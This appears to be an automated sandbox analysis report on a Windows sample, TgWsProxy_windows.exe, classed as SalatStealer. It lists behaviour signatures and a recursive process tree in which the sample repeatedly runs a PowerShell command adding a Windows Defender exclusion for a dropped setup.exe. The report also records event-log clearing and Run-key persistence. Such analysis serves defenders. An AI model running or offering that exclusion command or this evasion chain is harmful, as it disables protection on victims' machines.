Analysis
- max time kernel
39s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
26/10/2026, 23:48
General
- Target TgWsProxy_windows.exe
- Size 23.9MB
- Sample261026-3tkvcah19q
- SHA256 d4d7fafe1b7ba39d17f3e449e88f97dd37ebd701b83010cb6652d778ef8d7fda
Score
10/10
Malware Config
Signatures
- Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
- Detect SalatStealer payload 10 IoCs
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 42 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 16 IoCs
- Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
- Adds Run key to start application 2 TTPs 3 IoCs
- Drops file in System32 directory 3 IoCs
- UPX packed file 15 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Windows directory 6 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 20 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 5 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 20 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Modifies data under HKEY_USERS 64 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\fontdrvhost.exe"fontdrvhost.exe"2⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 964 -s 2243⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
-
-
C:\Windows\system32\fontdrvhost.exe"fontdrvhost.exe"1⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 972 -s 3522⤵
-
-
C:\Windows\System32\WUDFHost.exe"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-33a7b921-a16c-4f13-a8a0-c029f10f54d2 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-bda70d3d-6abf-4189-9ac4-7d8c6220ac87 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-37e76d50-9876-48e7-8a12-e1bfdb46a1cf -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-14dea17d-7ead-4fac-9769-1833a57e819a -LifetimeId:49cbfe05-ad67-4ee6-b180-8a1fe2e8fe7a -DeviceGroupId:WudfDefaultDevicePool -HostArg:01⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
- Drops file in System32 directory
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UserProfileService -p -s ProfSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS3⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"4⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\setup.exe'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\eoszh8w1\werel9f.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\eoszh8w1\werel9f.exe"6⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"7⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\lol.exe"C:\Users\Admin\AppData\Local\Temp\lol.exe"7⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"5⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\setup.exe'6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\egszh0o1\warsk5t.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\egszh0o1\warsk5t.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"8⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\lol.exe"C:\Users\Admin\AppData\Local\Temp\lol.exe"8⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"6⤵
- Adds Run key to start application
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\setup.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\ebsuh7i0\wirti5r.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\ebsuh7i0\wirti5r.exe"8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"9⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\lol.exe"C:\Users\Admin\AppData\Local\Temp\lol.exe"9⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\setup.exe'8⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV19⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"8⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\exskh0m9\wkrkk2i.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\exskh0m9\wkrkk2i.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"10⤵
-
-
C:\Users\Admin\AppData\Local\Temp\lol.exe"C:\Users\Admin\AppData\Local\Temp\lol.exe"10⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"8⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\setup.exe'9⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"9⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\eisch7i0\wtrxy0x.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\eisch7i0\wtrxy0x.exe"10⤵
-
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"11⤵
-
-
C:\Users\Admin\AppData\Local\Temp\lol.exe"C:\Users\Admin\AppData\Local\Temp\lol.exe"11⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"9⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\setup.exe'10⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"10⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\ehsfh0w3\wbrud6w.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\ehsfh0w3\wbrud6w.exe"11⤵
-
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"12⤵
-
-
C:\Users\Admin\AppData\Local\Temp\lol.exe"C:\Users\Admin\AppData\Local\Temp\lol.exe"12⤵
-
C:\Users\Admin\AppData\Roaming\NRExtExport.exeC:\Users\Admin\AppData\Roaming\NRExtExport.exe13⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe14⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"10⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\setup.exe'11⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"11⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\eqsgh4k8\wjrlr1i.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\eqsgh4k8\wjrlr1i.exe"12⤵
-
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"13⤵
-
-
C:\Users\Admin\AppData\Local\Temp\lol.exe"C:\Users\Admin\AppData\Local\Temp\lol.exe"13⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"11⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\setup.exe'12⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"12⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\eossh5c9\wmrau7w.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\eossh5c9\wmrau7w.exe"13⤵
-
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"14⤵
-
-
C:\Users\Admin\AppData\Local\Temp\lol.exe"C:\Users\Admin\AppData\Local\Temp\lol.exe"14⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"12⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\setup.exe'13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"13⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\ekslh5s5\wnrch5d.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\ekslh5s5\wnrch5d.exe"14⤵
-
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"15⤵
-
-
C:\Users\Admin\AppData\Local\Temp\lol.exe"C:\Users\Admin\AppData\Local\Temp\lol.exe"15⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"13⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\setup.exe'14⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"14⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\eesbh9k1\woroc2p.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\eesbh9k1\woroc2p.exe"15⤵
-
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"16⤵
-
-
C:\Users\Admin\AppData\Local\Temp\lol.exe"C:\Users\Admin\AppData\Local\Temp\lol.exe"16⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"14⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\setup.exe'15⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"15⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\ebsxh1k0\wercm0t.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\ebsxh1k0\wercm0t.exe"16⤵
-
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"17⤵
-
-
C:\Users\Admin\AppData\Local\Temp\lol.exe"C:\Users\Admin\AppData\Local\Temp\lol.exe"17⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"15⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\setup.exe'16⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"16⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\eysgh8n3\wgrjd6d.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\eysgh8n3\wgrjd6d.exe"17⤵
-
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"18⤵
-
-
C:\Users\Admin\AppData\Local\Temp\lol.exe"C:\Users\Admin\AppData\Local\Temp\lol.exe"18⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"16⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\setup.exe'17⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"17⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\eisvh4u8\wzrve8p.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\eisvh4u8\wzrve8p.exe"18⤵
-
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"19⤵
-
-
C:\Users\Admin\AppData\Local\Temp\lol.exe"C:\Users\Admin\AppData\Local\Temp\lol.exe"19⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"17⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\setup.exe'18⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"18⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\ehswh2g6\wkroy9s.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\ehswh2g6\wkroy9s.exe"19⤵
-
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"20⤵
-
-
C:\Users\Admin\AppData\Local\Temp\lol.exe"C:\Users\Admin\AppData\Local\Temp\lol.exe"20⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"18⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\setup.exe'19⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"19⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\eqseh6b4\wtrcp2a.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\eqseh6b4\wtrcp2a.exe"20⤵
-
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"21⤵
-
-
C:\Users\Admin\AppData\Local\Temp\lol.exe"C:\Users\Admin\AppData\Local\Temp\lol.exe"21⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"19⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\setup.exe'20⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"20⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\edsih6a0\wjrod5h.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\edsih6a0\wjrod5h.exe"21⤵
-
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"22⤵
-
-
C:\Users\Admin\AppData\Local\Temp\lol.exe"C:\Users\Admin\AppData\Local\Temp\lol.exe"22⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"20⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\setup.exe'21⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"21⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\etsvh6b1\wlrcf8g.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\etsvh6b1\wlrcf8g.exe"22⤵
-
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"23⤵
-
-
C:\Users\Admin\AppData\Local\Temp\lol.exe"C:\Users\Admin\AppData\Local\Temp\lol.exe"23⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"21⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\setup.exe'22⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"22⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\evsfh5k1\wurii0u.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\evsfh5k1\wurii0u.exe"23⤵
-
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"24⤵
-
-
C:\Users\Admin\AppData\Local\Temp\lol.exe"C:\Users\Admin\AppData\Local\Temp\lol.exe"24⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"22⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\setup.exe'23⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"23⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\exsph7i3\wprbq8t.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\exsph7i3\wprbq8t.exe"24⤵
-
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"25⤵
-
-
C:\Users\Admin\AppData\Local\Temp\lol.exe"C:\Users\Admin\AppData\Local\Temp\lol.exe"25⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"23⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\setup.exe'24⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"24⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\eisuh8q5\warkg6y.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\eisuh8q5\warkg6y.exe"25⤵
-
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"26⤵
-
-
C:\Users\Admin\AppData\Local\Temp\lol.exe"C:\Users\Admin\AppData\Local\Temp\lol.exe"26⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"24⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\setup.exe'25⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"25⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\ewsjh6k7\wtrso9y.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\ewsjh6k7\wtrso9y.exe"26⤵
-
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"27⤵
-
-
C:\Users\Admin\AppData\Local\Temp\lol.exe"C:\Users\Admin\AppData\Local\Temp\lol.exe"27⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"25⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\setup.exe'26⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"26⤵
-
-
C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"C:\Users\Admin\AppData\Local\Temp\TgWsProxy_windows.exe"26⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
